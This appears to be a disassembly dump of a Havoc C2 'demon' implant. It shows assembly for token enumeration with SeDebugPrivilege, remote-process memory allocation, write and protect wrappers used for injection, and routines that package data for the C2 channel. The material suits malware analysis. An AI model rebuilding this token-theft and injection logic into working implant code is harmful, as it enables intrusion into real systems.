File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
    140017d70
    140017d70ListTokens:
    140017d70push r15
    140017d72xor r11l, r11l
    140017d75push r14
    140017d77push r13
    140017d79push r12
    140017d7bxor r12l, r12l
    140017d7epush rbp
    140017d7fxor ebp, ebp
    140017d81push rdi
    140017d82xor edi, edi
    140017d84push rsi
    140017d85xor esi, esi
    140017d87push rbx
    140017d88xor ebx, ebx
    140017d8asub rsp, 168
    140017d91mov [rsp+240], rcx
    140017d99mov [rsp+248], rdx
    140017da1mov [rsp+120], r11
    140017da6mov [rsp+108], ebx
    140017daamov [rsp+112], ebx
    140017daemov [rsp+128], rsi
    140017db6mov [rsp+116], edi
    140017dbamov [rsp+136], rbp
    140017dc2mov [rsp+144], rbp
    140017dcamov [rsp+152], rbp
    140017dd2call TokenCurrentHandle
    140017dd7mov [rsp+76], r12l
    140017ddctest rax, rax
    140017ddfje 0x140017e0b
    140017de1xor r8l, r8l
    140017de4mov rcx, rax
    140017de7lea rdx, [rsp+144]
    140017defmov rbx, rax
    140017df2call TokenQueryOwner
    140017df7mov rcx, rbx
    140017dfatest eax, eax
    140017dfcsetne al
    140017dffmovzx eax, al
    140017e02mov [rsp+76], eax
    140017e06call SysNtClose
    140017e0b
    140017e0bloc_140017e0b:
    140017e0bmov ecx, 1
    140017e10call TokenSetSeDebugPriv
    140017e15lea rcx, [rsp+112]
    140017e1acall GetTypeIndexToken
    140017e1ftest eax, eax
    140017e21jne 0x140017e2a
    140017e23
    140017e23loc_140017e23:
    140017e23xor ebx, ebx
    140017e25jmp 0x140018011
    140017e2a
    140017e2aloc_140017e2a:
    140017e2alea rdx, [rsp+116]
    140017e2flea rcx, [rsp+128]
    140017e37call GetAllHandles
    140017e3ctest eax, eax
    140017e3eje 0x140017e23
    140017e40mov r13, [rsp+128]
    140017e48lea rdx, [rsp+136]
    140017e50mov rcx, r13
    140017e53call GetProcessesFromHandleTable
    140017e58test eax, eax
    140017e5aje 0x140017e23
    140017e5cmov rax, [rip+0x1450d]
    140017e63mov edx, 0x420000
    140017e68mov ecx, 64
    140017e6dcall [rax+932]
    140017e73mov rbx, rax
    140017e76test rax, rax
    140017e79je 0x140017e23
    140017e7blea rax, [rsp+120]
    140017e80xor ebp, ebp
    140017e82lea r14, [rsp+108]
    140017e87mov [rsp+80], rax
    140017e8clea r15, [rsp+144]
    140017e94
    140017e94loc_140017e94:
    140017e94mov rax, [rsp+136]
    140017e9ccmp ebp, [rax]
    140017e9ejae 0x140017ff3
    140017ea4mov edx, ebp
    140017ea6mov edi, [rax+4*rdx+4]
    140017eaamov rax, [rip+0x144bf]
    140017eb1cmp [rax+76], edi
    140017eb4je 0x140017fec
    140017ebatest edi, -5
    140017ec0je 0x140017fec
    140017ec6mov edx, 1088
    140017ecbmov ecx, edi
    140017ecdxor r12l, r12l
    140017ed0call ProcessOpen
    140017ed5mov rsi, rax
    140017ed8test rax, rax
    140017edbje 0x140017fec
    140017ee1
    140017ee1loc_140017ee1:
    140017ee1cmp r12l, [r13]
    140017ee5jae 0x140017f8d
    140017eebmov r10l, r12l
    140017eeeimul r10, r10, 24
    140017ef2add r10, r13
    140017ef5movzx eax, [r10+8]
    140017efacmp eax, edi
    140017efcjne 0x140017f85
    140017f02movzx eax, [r10+12]
    140017f07cmp eax, [rsp+112]
    140017f0bjne 0x140017f85
    140017f0dmovzx edx, [r10+14]
    140017f12mov [rsp+88], r10
    140017f17xor r10l, r10l
    140017f1axor r9l, r9l
    140017f1dmov [rsp+48], 2
    140017f25or r8, -1
    140017f29mov rcx, rsi
    140017f2cmov [rsp+40], r10l
    140017f31mov [rsp+32], r10l
    140017f36mov [rsp+120], r9
    140017f3bmov r9, [rsp+80]
    140017f40call SysNtDuplicateObject
    140017f45test eax, eax
    140017f47js 0x140017f85
    140017f49mov r10, [rsp+88]
    140017f4emov r9l, [rsp+76]
    140017f53mov edx, edi
    140017f55mov rcx, [rsp+120]
    140017f5amovzx r8l, [r10+14]
    140017f5fmov [rsp+48], r14
    140017f64mov [rsp+40], rbx
    140017f69mov [rsp+32], r15
    140017f6ecall ProcessUserToken
    140017f73mov rcx, [rsp+120]
    140017f78call SysNtClose
    140017f7dxor r8l, r8l
    140017f80mov [rsp+120], r8
    140017f85
    140017f85loc_140017f85:
    140017f85inc r12l
    140017f88jmp 0x140017ee1
    140017f8d
    140017f8dloc_140017f8d:
    140017f8dmov r8, [rsp+80]
    140017f92mov edx, 10
    140017f97mov rcx, rsi
    140017f9acall SysNtOpenProcessToken
    140017f9ftest eax, eax
    140017fa1js 0x140017fe4
    140017fa3lea rax, [rsp+108]
    140017fa8mov [rsp+40], rbx
    140017fadxor r8l, r8l
    140017fb0mov edx, edi
    140017fb2mov r9l, [rsp+76]
    140017fb7mov rcx, [rsp+120]
    140017fbcmov [rsp+48], rax
    140017fc1lea rax, [rsp+144]
    140017fc9mov [rsp+32], rax
    140017fcecall ProcessUserToken
    140017fd3mov rcx, [rsp+120]
    140017fd8call SysNtClose
    140017fddxor ecx, ecx
    140017fdfmov [rsp+120], rcx
    140017fe4
    140017fe4loc_140017fe4:
    140017fe4mov rcx, rsi
    140017fe7call SysNtClose
    140017fec
    140017fecloc_140017fec:
    140017fecinc ebp
    140017feejmp 0x140017e94
    140017ff3
    140017ff3loc_140017ff3:
    140017ff3mov rax, [rsp+240]
    140017ffbmov rsi, [rsp+248]
    140018003mov [rax], rbx
    140018006mov eax, [rsp+108]
    14001800amov ebx, 1
    14001800fmov [rsi], eax
    140018011
    140018011loc_140018011:
    140018011mov rdi, [rsp+128]
    140018019test rdi, rdi
    14001801cje 0x140018045
    14001801emov ecx, [rsp+116]
    140018022xor eax, eax
    140018024rep stosb [rdi], al
    140018026mov rax, [rip+0x14343]
    14001802dmov rcx, [rsp+128]
    140018035call [rax+940]
    14001803bxor edx, edx
    14001803dmov [rsp+128], rdx
    140018045
    140018045loc_140018045:
    140018045mov rdi, [rsp+136]
    14001804dtest rdi, rdi
    140018050je 0x14001807a
    140018052mov ecx, 20004
    140018057xor eax, eax
    140018059rep stosb [rdi], al
    14001805bmov rax, [rip+0x1430e]
    140018062mov rcx, [rsp+136]
    14001806acall [rax+940]
    140018070xor eax, eax
    140018072mov [rsp+136], rax
    14001807a
    14001807aloc_14001807a:
    14001807amov rdi, [rsp+144]
    140018082test rdi, rdi
    140018085je 0x1400180a7
    140018087mov ecx, [rsp+152]
    14001808exor eax, eax
    140018090rep stosb [rdi], al
    140018092mov rax, [rip+0x142d7]
    140018099mov rcx, [rsp+144]
    1400180a1call [rax+940]
    1400180a7
    1400180a7loc_1400180a7:
    1400180a7add rsp, 168
    1400180aemov eax, ebx
    1400180b0pop rbx
    1400180b1pop rsi
    1400180b2pop rdi
    1400180b3pop rbp
    1400180b4pop r12
    1400180b6pop r13
    1400180b8pop r14
    1400180bapop r15
    1400180bcret
    140017d70
    1400180bd
    1400180bd // align 0x10
    1400180c0
    1400180c0MemCompare:
    1400180c0xor eax, eax
    1400180c2cmp rcx, rdx
    1400180c5je 0x1400180f2
    1400180c7xor eax, eax
    1400180c9
    1400180c9loc_1400180c9:
    1400180c9mov r9l, r8l
    1400180ccsub r9l, eax
    1400180cftest r9l, r9l
    1400180d2jle 0x1400180f0
    1400180d4mov r9b, [rcx+rax]
    1400180d8inc rax
    1400180dbmov r10b, [rdx+rax-1]
    1400180e0cmp r9b, r10b
    1400180e3je 0x1400180c9
    1400180e5cmp r10b, r9b
    1400180e8sbb eax, eax
    1400180eaand eax, 2
    1400180eddec eax
    1400180efret
    1400180f0
    1400180f0loc_1400180f0:
    1400180f0xor eax, eax
    1400180f2
    1400180f2loc_1400180f2:
    1400180f2ret
    1400180c0
    1400180f3
    1400180f3 // align 0x10
    140018100
    140018100MemFileFree:
    140018100push rdi
    140018101push rsi
    140018102push rbx
    140018103mov rbx, rcx
    140018106sub rsp, 32
    14001810amov rdi, [rcx+24]
    14001810etest rdi, rdi
    140018111je 0x140018120
    140018113mov rcx, [rcx+8]
    140018117test rcx, rcx
    14001811aje 0x140018120
    14001811cxor eax, eax
    14001811erep stosb [rdi], al
    140018120
    140018120loc_140018120:
    140018120mov r8, [rbx+24]
    140018124mov rsi, [rip+0x14245]
    14001812btest r8, r8
    14001812eje 0x140018147
    140018130mov rax, [rsi+2230]
    140018137xor edx, edx
    140018139mov rax, [rax+96]
    14001813dmov rcx, [rax+48]
    140018141call [rsi+332]
    140018147
    140018147loc_140018147:
    140018147xor eax, eax
    140018149mov rdi, rbx
    14001814cmov ecx, 48
    140018151mov [rbx+24], rax
    140018155mov [rbx+8], rax
    140018159xor eax, eax
    14001815brep stosb [rdi], al
    14001815dmov rax, [rsi+2230]
    140018164mov r8, rbx
    140018167xor edx, edx
    140018169mov rax, [rax+96]
    14001816dmov rcx, [rax+48]
    140018171mov rax, [rsi+332]
    140018178add rsp, 32
    14001817cpop rbx
    14001817dpop rsi
    14001817epop rdi
    14001817fjmp rax
    140018100
    140018181
    140018181 // align 0x10
    140018190
    140018190MemFileIsNew:
    140018190mov rax, [rip+0x141d9]
    140018197mov rax, [rax+2318]
    14001819e
    14001819eloc_14001819e:
    14001819etest rax, rax
    1400181a1je 0x1400181ad
    1400181a3cmp [rax], ecx
    1400181a5je 0x1400181b3
    1400181a7mov rax, [rax+40]
    1400181abjmp 0x14001819e
    1400181ad
    1400181adloc_1400181ad:
    1400181admov eax, 1
    1400181b2ret
    1400181b3
    1400181b3loc_1400181b3:
    1400181b3xor eax, eax
    1400181b5ret
    140018190
    1400181b6
    1400181b6 // align 0x10
    1400181c0
    1400181c0MemFileReadChunk:
    1400181c0push rdi
    1400181c1lea rdx, [rip+0x14608]
    1400181c8push rsi
    1400181c9push rbx
    1400181casub rsp, 48
    1400181cecall GetMemFile
    1400181d3test rax, rax
    1400181d6mov rbx, rax
    1400181d9jne 0x1400181f2
    1400181dbmov r9l, ecx
    1400181demov r8l, 325
    1400181e4lea rcx, [rip+64751]
    1400181ebcall printf
    1400181f0jmp 0x14001823e
    1400181f2
    1400181f2loc_1400181f2:
    1400181f2mov rax, [rax+8]
    1400181f6sub rax, [rbx+16]
    1400181famov edi, r9l
    1400181fdmov rsi, r8
    140018200mov [rsp+32], rax
    140018205lea rcx, [rip+64625]
    14001820cmov r8l, 329
    140018212call printf
    140018217mov rax, [rbx+16]
    14001821bmov r9l, edi
    14001821eadd rax, [rbx+24]
    140018222mov rdi, rax
    140018225mov rcx, r9
    140018228xor eax, eax
    14001822arep movsb [rdi], [rsi]
    14001822cadd r9, [rbx+16]
    140018230cmp [rbx+8], r9
    140018234sete al
    140018237mov [rbx+16], r9
    14001823bmov [rbx+32], eax
    14001823e
    14001823eloc_14001823e:
    14001823eadd rsp, 48
    140018242mov rax, rbx
    140018245pop rbx
    140018246pop rsi
    140018247pop rdi
    140018248ret
    1400181c0
    140018249
    140018249 // align 0x10
    140018250
    140018250MemoryAlloc:
    140018250push r12
    140018252lea r12, [rip+0x145c7]
    140018259push rbp
    14001825apush rdi
    14001825bmov rdi, rdx
    14001825exor edx, edx
    140018260push rsi
    140018261mov esi, ecx
    140018263push rbx
    140018264mov ebx, r9l
    140018267sub rsp, 80
    14001826bmov rbp, [rip+0x140fe]
    140018272mov [rsp+144], r8
    14001827acmp [rbp+224], 0
    140018281mov [rsp+72], rdx
    140018286je 0x1400182b6
    140018288test ecx, ecx
    14001828aje 0x1400182cc
    14001828cmov ecx, 89
    140018291call PackageCreate
    140018296mov edx, 10
    14001829bmov rcx, rax
    14001829ecall PackageAddInt32
    1400182a3cmp esi, 1
    1400182a6je 0x14001830f
    1400182a8cmp esi, 2
    1400182abjne 0x1400183d7
    1400182b1jmp 0x14001837c
    1400182b6
    1400182b6loc_1400182b6:
    1400182b6cmp ecx, 1
    1400182b9je 0x14001830f
    1400182bbcmp ecx, 2
    1400182beje 0x14001837c
    1400182c4test ecx, ecx
    1400182c6jne 0x1400183d7
    1400182cc
    1400182ccloc_1400182cc:
    1400182cclea r9, [rip+0x1022d]
    1400182d3mov r8l, 29
    1400182d9mov rdx, r12
    1400182dclea rcx, [rip+0x1022c]
    1400182e3call printf
    1400182e8mov ecx, [rbp+248]
    1400182eemov r9l, ebx
    1400182f1mov rdx, rdi
    1400182f4mov r8, [rsp+144]
    1400182fctest ecx, ecx
    1400182fejne 0x140018305
    140018300mov ecx, 2
    140018305
    140018305loc_140018305:
    140018305call MemoryAlloc
    14001830ajmp 0x14001845c
    14001830f
    14001830floc_14001830f:
    14001830fmov [rsp+48], ebx
    140018313mov r9, rdi
    140018316mov rdx, r12
    140018319mov r8l, 38
    14001831fmov rax, [rsp+144]
    140018327mov [rsp+40], 12288
    14001832flea rcx, [rip+0x101ed]
    140018336mov [rsp+32], rax
    14001833bcall printf
    140018340xor edx, edx
    140018342mov rcx, rdi
    140018345mov [rsp+32], ebx
    140018349mov r8, [rsp+144]
    140018351mov r9l, 12288
    140018357call [rbp+796]
    14001835dmov r8l, 40
    140018363mov rdx, r12
    140018366lea rcx, [rip+0x101f4]
    14001836dmov r9, rax
    140018370mov [rsp+72], rax
    140018375call printf
    14001837ajmp 0x1400183d7
    14001837c
    14001837cloc_14001837c:
    14001837cmov [rsp+40], ebx
    140018380lea rdx, [rsp+72]
    140018385xor r8l, r8l
    140018388mov rcx, rdi
    14001838bmov [rsp+32], 12288
    140018393lea r9, [rsp+144]
    14001839bcall SysNtAllocateVirtualMemory
    1400183a0mov esi, eax
    1400183a2test eax, eax
    1400183a4jns 0x1400183d7
    1400183a6mov r9l, eax
    1400183a9mov r8l, 46
    1400183afmov rdx, r12
    1400183b2lea rcx, [rip+0x101bc]
    1400183b9call printf
    1400183bemov rdi, [rbp+2230]
    1400183c5mov ecx, esi
    1400183c7call [rbp+348]
    1400183cdmov [rdi+104], eax
    1400183d0xor eax, eax
    1400183d2mov [rsp+72], rax
    1400183d7
    1400183d7loc_1400183d7:
    1400183d7mov rax, [rsp+144]
    1400183dfmov r9, [rsp+72]
    1400183e4mov r8l, 59
    1400183eamov rdx, r12
    1400183edlea rcx, [rip+0x101bc]
    1400183f4mov [rsp+32], rax
    1400183f9call printf
    1400183fecmp [rsp+72], 0
    140018404je 0x140018457
    140018406cmp [rbp+224], 0
    14001840dje 0x140018457
    14001840fmov ecx, 89
    140018414call PackageCreate
    140018419mov edx, 10
    14001841emov rcx, rax
    140018421mov rsi, rax
    140018424call PackageAddInt32
    140018429mov rdx, [rsp+72]
    14001842emov rcx, rsi
    140018431call PackageAddPtr
    140018436mov edx, [rsp+144]
    14001843dmov rcx, rsi
    140018440call PackageAddInt32
    140018445mov rcx, rsi
    140018448mov edx, ebx
    14001844acall PackageAddInt32
    14001844fmov rcx, rsi
    140018452call PackageTransmit
    140018457
    140018457loc_140018457:
    140018457mov rax, [rsp+72]
    14001845c
    14001845cloc_14001845c:
    14001845cadd rsp, 80
    140018460pop rbx
    140018461pop rsi
    140018462pop rdi
    140018463pop rbp
    140018464pop r12
    140018466ret
    140018250
    140018467
    140018467 // align 0x10
    140018470
    140018470MemoryFree:
    140018470push rdi
    140018471xor eax, eax
    140018473xor r8l, r8l
    140018476push rbx
    140018477mov rbx, rcx
    14001847amov ecx, 12
    14001847fsub rsp, 120
    140018483mov [rsp+56], rax
    140018488lea rdi, [rsp+64]
    14001848dxor eax, eax
    14001848flea r9, [rsp+64]
    140018494rep stosd [rdi], eax
    140018496xor ecx, ecx
    140018498mov [rsp+152], rdx
    1400184a0mov [rsp+40], rcx
    1400184a5mov rcx, rbx
    1400184a8mov [rsp+32], 48
    1400184b1call SysNtQueryVirtualMemory
    1400184b6test eax, eax
    1400184b8js 0x1400184d7
    1400184bacmp [rsp+104], 0x40000
    1400184c2jne 0x1400184d7
    1400184c4mov rdx, [rsp+152]
    1400184ccor rcx, -1
    1400184d0call SysNtUnmapViewOfSection
    1400184d5jmp 0x1400184f2
    1400184d7
    1400184d7loc_1400184d7:
    1400184d7lea rdx, [rsp+152]
    1400184dfmov r9l, 32768
    1400184e5lea r8, [rsp+56]
    1400184eamov rcx, rbx
    1400184edcall SysNtFreeVirtualMemory
    1400184f2
    1400184f2loc_1400184f2:
    1400184f2add rsp, 120
    1400184f6not eax
    1400184f8shr eax, 31
    1400184fbpop rbx
    1400184fcpop rdi
    1400184fdret
    140018470
    1400184fe
    1400184fe // align 0x10
    140018500
    140018500MemoryProtect:
    140018500push rdi
    140018501xor eax, eax
    140018503push rsi
    140018504push rbx
    140018505mov rbx, rdx
    140018508sub rsp, 64
    14001850cmov [rsp+112], r8
    140018511mov edi, [rsp+128]
    140018518mov [rsp+120], r9
    14001851dmov [rsp+60], eax
    140018521cmp ecx, 1
    140018524je 0x14001858d
    140018526cmp ecx, 2
    140018529je 0x1400185bf
    14001852ftest ecx, ecx
    140018531je 0x14001853a
    140018533
    140018533loc_140018533:
    140018533xor ebx, ebx
    140018535jmp 0x140018666
    14001853a
    14001853aloc_14001853a:
    14001853alea r9, [rip+65471]
    140018541mov r8l, 97
    140018547lea rdx, [rip+0x140c2]
    14001854elea rcx, [rip+65466]
    140018555call printf
    14001855amov rax, [rip+0x13e0f]
    140018561mov r9, [rsp+120]
    140018566mov rdx, rbx
    140018569mov r8, [rsp+112]
    14001856emov ecx, [rax+248]
    140018574mov [rsp+32], edi
    140018578test ecx, ecx
    14001857ajne 0x140018581
    14001857cmov ecx, 2
    140018581
    140018581loc_140018581:
    140018581call MemoryProtect
    140018586mov ebx, eax
    140018588jmp 0x140018666
    14001858d
    14001858dloc_14001858d:
    14001858dlea rax, [rsp+60]
    140018592mov rcx, rbx
    140018595mov r8, [rsp+120]
    14001859amov r9l, edi
    14001859dmov [rsp+32], rax
    1400185a2mov rax, [rip+0x13dc7]
    1400185a9mov rdx, [rsp+112]
    1400185aecall [rax+988]
    1400185b4mov ebx, eax
    1400185b6test eax, eax
    1400185b8jne 0x140018605
    1400185bajmp 0x140018533
    1400185bf
    1400185bfloc_1400185bf:
    1400185bflea rax, [rsp+60]
    1400185c4mov rcx, rbx
    1400185c7lea rdx, [rsp+112]
    1400185ccmov r9l, edi
    1400185cfmov [rsp+32], rax
    1400185d4lea r8, [rsp+120]
    1400185d9mov ebx, 1
    1400185decall SysNtProtectVirtualMemory
    1400185e3mov ecx, eax
    1400185e5test eax, eax
    1400185e7jns 0x140018605
    1400185e9mov rax, [rip+0x13d80]
    1400185f0mov rbx, [rax+2230]
    1400185f7call [rax+348]
    1400185fdmov [rbx+104], eax
    140018600jmp 0x140018533
    140018605
    140018605loc_140018605:
    140018605mov rax, [rip+0x13d64]
    14001860ccmp [rax+224], 0
    140018613je 0x140018666
    140018615mov ecx, 89
    14001861acall PackageCreate
    14001861fmov edx, 12
    140018624mov rcx, rax
    140018627mov rsi, rax
    14001862acall PackageAddInt32
    14001862fmov rdx, [rsp+112]
    140018634mov rcx, rsi
    140018637call PackageAddPtr
    14001863cmov edx, [rsp+120]
    140018640mov rcx, rsi
    140018643call PackageAddInt32
    140018648mov edx, [rsp+60]
    14001864cmov rcx, rsi
    14001864fcall PackageAddInt32
    140018654mov rcx, rsi
    140018657mov edx, edi
    140018659call PackageAddInt32
    14001865emov rcx, rsi
    140018661call PackageTransmit
    140018666
    140018666loc_140018666:
    140018666add rsp, 64
    14001866amov eax, ebx
    14001866cpop rbx
    14001866dpop rsi
    14001866epop rdi
    14001866fret
    140018500
    140018670
    140018670MemoryWrite:
    140018670test rcx, rcx
    140018673je 0x14001869e
    140018675test rdx, rdx
    140018678je 0x14001869e
    14001867atest r8, r8
    14001867dje 0x14001869e
    14001867ftest r9, r9
    140018682je 0x14001869e
    140018684sub rsp, 56
    140018688xor eax, eax
    14001868amov [rsp+32], rax
    14001868fcall SysNtWriteVirtualMemory
    140018694add rsp, 56
    140018698not eax
    14001869ashr eax, 31
    14001869dret
    14001869e
    14001869eloc_14001869e:
    14001869exor eax, eax
    1400186a0ret
    140018670
    1400186a1
    1400186a1 // align 0x10
    1400186b0
    1400186b0NewMemFile:
    1400186b0push r12
    1400186b2push rbp
    1400186b3mov rbp, rdx
    1400186b6mov edx, 8
    1400186bbpush rdi
    1400186bcmov edi, ecx
    1400186bepush rsi
    1400186bfmov rsi, r8
    1400186c2mov r8l, 48
    1400186c8push rbx
    1400186c9sub rsp, 48
    1400186cdmov r12, [rip+0x13c9c]
    1400186d4mov [rsp+120], r9l
    1400186d9mov rax, [r12+2230]
    1400186e1mov rax, [rax+96]
    1400186e5mov rcx, [rax+48]
    1400186e9call [r12+316]
    1400186f1mov r8, rbp
    1400186f4mov edx, 8
    1400186f9mov rbx, rax
    1400186fcmov [rax+8], rbp
    140018700mov [rax], edi
    140018702mov rax, [r12+2230]
    14001870amov rax, [rax+96]
    14001870emov rcx, [rax+48]
    140018712call [r12+316]
    14001871amov r9l, [rsp+120]
    14001871flea rdx, [rip+0x1455a]
    140018726mov rbp, rax
    140018729mov [rbx+24], rax
    14001872dxor eax, eax
    14001872fmov [rbx+16], rax
    140018733mov rax, [r12+2318]
    14001873btest rbp, rbp
    14001873emov [rbx+40], rax
    140018742jne 0x14001875c
    140018744mov r9, [rbx+8]
    140018748mov r8l, 267
    14001874elea rcx, [rip+63226]
    140018755call printf
    14001875ajmp 0x1400187c2
    14001875c
    14001875cloc_14001875c:
    14001875cmov eax, r9l
    14001875fmov rdi, rbp
    140018762xor r8l, r8l
    140018765mov rbp, rbx
    140018768mov rcx, rax
    14001876brep movsb [rdi], [rsi]
    14001876dmov rcx, [rbx+8]
    140018771add rax, [rbx+16]
    140018775mov [rbx+16], rax
    140018779cmp rax, rcx
    14001877csete r8b
    140018780sub rcx, rax
    140018783mov [rbx+32], r8l
    140018787mov r8l, 277
    14001878dmov [rsp+32], rcx
    140018792lea rcx, [rip+63204]
    140018799call printf
    14001879emov r9l, [rbx]
    1400187a1mov r8l, 282
    1400187a7lea rdx, [rip+0x144d2]
    1400187aelea rcx, [rip+63231]
    1400187b5mov [r12+2318], rbx
    1400187bdcall printf
    1400187c2
    1400187c2loc_1400187c2:
    1400187c2add rsp, 48
    1400187c6mov rax, rbp
    1400187c9pop rbx
    1400187capop rsi
    1400187cbpop rdi
    1400187ccpop rbp
    1400187cdpop r12
    1400187cfret
    1400186b0
    1400187d0
    1400187d0PackageAddBool:
    1400187d0test rcx, rcx
    1400187d3je 0x140018823
    1400187d5push rsi
    1400187d6mov esi, edx
    1400187d8mov r8l, 2
    1400187depush rbx
    1400187dfmov rbx, rcx
    1400187e2sub rsp, 40
    1400187e6mov rax, [rcx+16]
    1400187eamov rcx, [rcx+8]
    1400187eelea rdx, [rax+4]
    1400187f2mov rax, [rip+0x13b77]
    1400187f9call [rax+948]
    1400187ffxor edx, edx
    140018801test sil, sil
    140018804mov [rbx+8], rax
    140018808setne dl
    14001880badd rax, [rbx+16]
    14001880fmov rcx, rax
    140018812call Int32ToBuffer
    140018817add [rbx+16], 4
    14001881cadd rsp, 40
    140018820pop rbx
    140018821pop rsi
    140018822ret
    140018823
    140018823loc_140018823:
    140018823ret
    1400187d0
    140018824
    140018824 // align 0x10
    140018830
    140018830PackageAddBytes:
    140018830test rcx, rcx
    140018833je 0x14001888e
    140018835push rbp
    140018836mov rbp, r8
    140018839push rdi
    14001883apush rsi
    14001883bmov rsi, rdx
    14001883emov edx, r8l
    140018841push rbx
    140018842mov rbx, rcx
    140018845sub rsp, 40
    140018849call PackageAddInt32
    14001884etest rbp, rbp
    140018851je 0x140018885
    140018853mov rdx, [rbx+16]
    140018857mov rcx, [rbx+8]
    14001885bmov r8l, 66
    140018861mov rax, [rip+0x13b08]
    140018868add rdx, rbp
    14001886bcall [rax+948]
    140018871mov rcx, rbp
    140018874mov [rbx+8], rax
    140018878add rax, [rbx+16]
    14001887cmov rdi, rax
    14001887frep movsb [rdi], [rsi]
    140018881add [rbx+16], rbp
    140018885
    140018885loc_140018885:
    140018885add rsp, 40
    140018889pop rbx
    14001888apop rsi
    14001888bpop rdi
    14001888cpop rbp
    14001888dret
    14001888e
    14001888eloc_14001888e:
    14001888eret
    140018830
    14001888f
    14001888f // align 0x10
    140018890
    140018890PackageAddInt32:
    140018890test rcx, rcx
    140018893je 0x1400188dd
    140018895push rsi
    140018896mov esi, edx
    140018898mov r8l, 2
    14001889epush rbx
    14001889fmov rbx, rcx
    1400188a2sub rsp, 40
    1400188a6mov rax, [rcx+16]
    1400188aamov rcx, [rcx+8]
    1400188aelea rdx, [rax+4]
    1400188b2mov rax, [rip+0x13ab7]
    1400188b9call [rax+948]
    1400188bfmov edx, esi
    1400188c1mov [rbx+8], rax
    1400188c5add rax, [rbx+16]
    1400188c9mov rcx, rax
    1400188cccall Int32ToBuffer
    1400188d1add [rbx+16], 4
    1400188d6add rsp, 40
    1400188dapop rbx
    1400188dbpop rsi
    1400188dcret
    1400188dd
    1400188ddloc_1400188dd:
    1400188ddret
    140018890
    1400188de
    1400188de // align 0x10
    1400188e0
    1400188e0PackageAddInt64:
    1400188e0test rcx, rcx
    1400188e3je 0x14001892f
    1400188e5push rsi
    1400188e6mov rsi, rdx
    1400188e9mov r8l, 2
    1400188efpush rbx
    1400188f0mov rbx, rcx
    1400188f3sub rsp, 40
    1400188f7mov rax, [rcx+16]
    1400188fbmov rcx, [rcx+8]
    1400188fflea rdx, [rax+8]
    140018903mov rax, [rip+0x13a66]
    14001890acall [rax+948]
    140018910mov rdx, rsi
    140018913mov [rbx+8], rax
    140018917add rax, [rbx+16]
    14001891bmov rcx, rax
    14001891ecall Int64ToBuffer
    140018923add [rbx+16], 8
    140018928add rsp, 40
    14001892cpop rbx
    14001892dpop rsi
    14001892eret
    14001892f
    14001892floc_14001892f:
    14001892fret
    1400188e0
    140018930
    140018930PackageAddPad:
    140018930test rcx, rcx
    140018933je 0x140018981
    140018935push rbp
    140018936mov rbp, r8
    140018939push rdi
    14001893apush rsi
    14001893bmov rsi, rdx
    14001893epush rbx
    14001893fmov rbx, rcx
    140018942sub rsp, 40
    140018946mov rdx, [rcx+16]
    14001894amov rax, [rip+0x13a1f]
    140018951mov rcx, [rcx+8]
    140018955add rdx, r8
    140018958mov r8l, 66
    14001895ecall [rax+948]
    140018964mov rcx, rbp
    140018967mov [rbx+8], rax
    14001896badd rax, [rbx+16]
    14001896fmov rdi, rax
    140018972rep movsb [rdi], [rsi]
    140018974add [rbx+16], rbp
    140018978add rsp, 40
    14001897cpop rbx
    14001897dpop rsi
    14001897epop rdi
    14001897fpop rbp
    140018980ret
    140018981
    140018981loc_140018981:
    140018981ret
    140018930
    140018982
    140018982 // align 0x10
    140018990
    140018990PackageAddPtr:
    140018990jmp 0x1400188e0
    140018990
    140018995
    140018995 // align 0x10
    1400189a0
    1400189a0PackageAddString:
    1400189a0push rsi
    1400189a1mov rsi, rcx
    1400189a4mov rcx, rdx
    1400189a7sub rsp, 48
    1400189abmov [rsp+40], rdx
    1400189b0call StringLengthA
    1400189b5mov rdx, [rsp+40]
    1400189baadd rsp, 48
    1400189bemov rcx, rsi
    1400189c1mov r8, rax
    1400189c4pop rsi
    1400189c5jmp 0x140018830
    1400189a0
    1400189ca
    1400189ca // align 0x10
    1400189d0
    1400189d0PackageAddWString:
    1400189d0push rsi
    1400189d1mov rsi, rcx
    1400189d4mov rcx, rdx
    1400189d7sub rsp, 48
    1400189dbmov [rsp+40], rdx
    1400189e0call StringLengthW
    1400189e5mov rdx, [rsp+40]
    1400189eaadd rsp, 48
    1400189eemov rcx, rsi
    1400189f1lea r8, [rax+rax]
    1400189f5pop rsi
    1400189f6jmp 0x140018830
    1400189d0
    1400189fb
    1400189fb // align 0x10
    140018a00
    140018a00PackageCreate:
    140018a00push rdi
    140018a01mov edx, 48
    140018a06push rsi
    140018a07mov esi, ecx
    140018a09mov ecx, 64
    140018a0epush rbx
    140018a0fsub rsp, 32
    140018a13mov rdi, [rip+0x13956]
    140018a1acall [rdi+932]
    140018a20mov edx, 1
    140018a25mov ecx, 64
    140018a2amov rbx, rax
    140018a2dcall [rdi+932]
    140018a33xor edx, edx
    140018a35xor ecx, ecx
    140018a37mov [rbx+8], rax
    140018a3bmov eax, [rdi+8]
    140018a3emov [rbx+32], edx
    140018a41mov [rbx], eax
    140018a43xor eax, eax
    140018a45mov [rbx+16], rax
    140018a49mov rax, 0x100000001
    140018a53mov [rbx+24], rax
    140018a57mov rax, rbx
    140018a5amov [rbx+4], esi
    140018a5dmov [rbx+40], rcx
    140018a61add rsp, 32
    140018a65pop rbx
    140018a66pop rsi
    140018a67pop rdi
    140018a68ret
    140018a00
    140018a69
    140018a69 // align 0x10
    140018a70
    140018a70PackageCreateWithMetaData:
    140018a70push rbx
    140018a71sub rsp, 32
    140018a75call PackageCreate
    140018a7axor edx, edx
    140018a7cmov rbx, rax
    140018a7fmov rcx, rax
    140018a82call PackageAddInt32
    140018a87mov rcx, rbx
    140018a8amov edx, 0xffffffffdeadbeef
    140018a8fcall PackageAddInt32
    140018a94mov rax, [rip+0x138d5]
    140018a9bmov rcx, rbx
    140018a9emov edx, [rax+68]
    140018aa1call PackageAddInt32
    140018aa6mov edx, [rbx+4]
    140018aa9mov rcx, rbx
    140018aaccall PackageAddInt32
    140018ab1mov edx, [rbx]
    140018ab3mov rcx, rbx
    140018ab6call PackageAddInt32
    140018abbadd rsp, 32
    140018abfmov rax, rbx
    140018ac2pop rbx
    140018ac3ret
    140018a70
    140018ac4
    140018ac4 // align 0x10
    140018ad0
    140018ad0PackageCreateWithRequestID:
    140018ad0push rbx
    140018ad1mov ebx, edx
    140018ad3sub rsp, 32
    140018ad7call PackageCreate
    140018adcmov [rax], ebx
    140018adeadd rsp, 32
    140018ae2pop rbx
    140018ae3ret
    140018ad0
    140018ae4
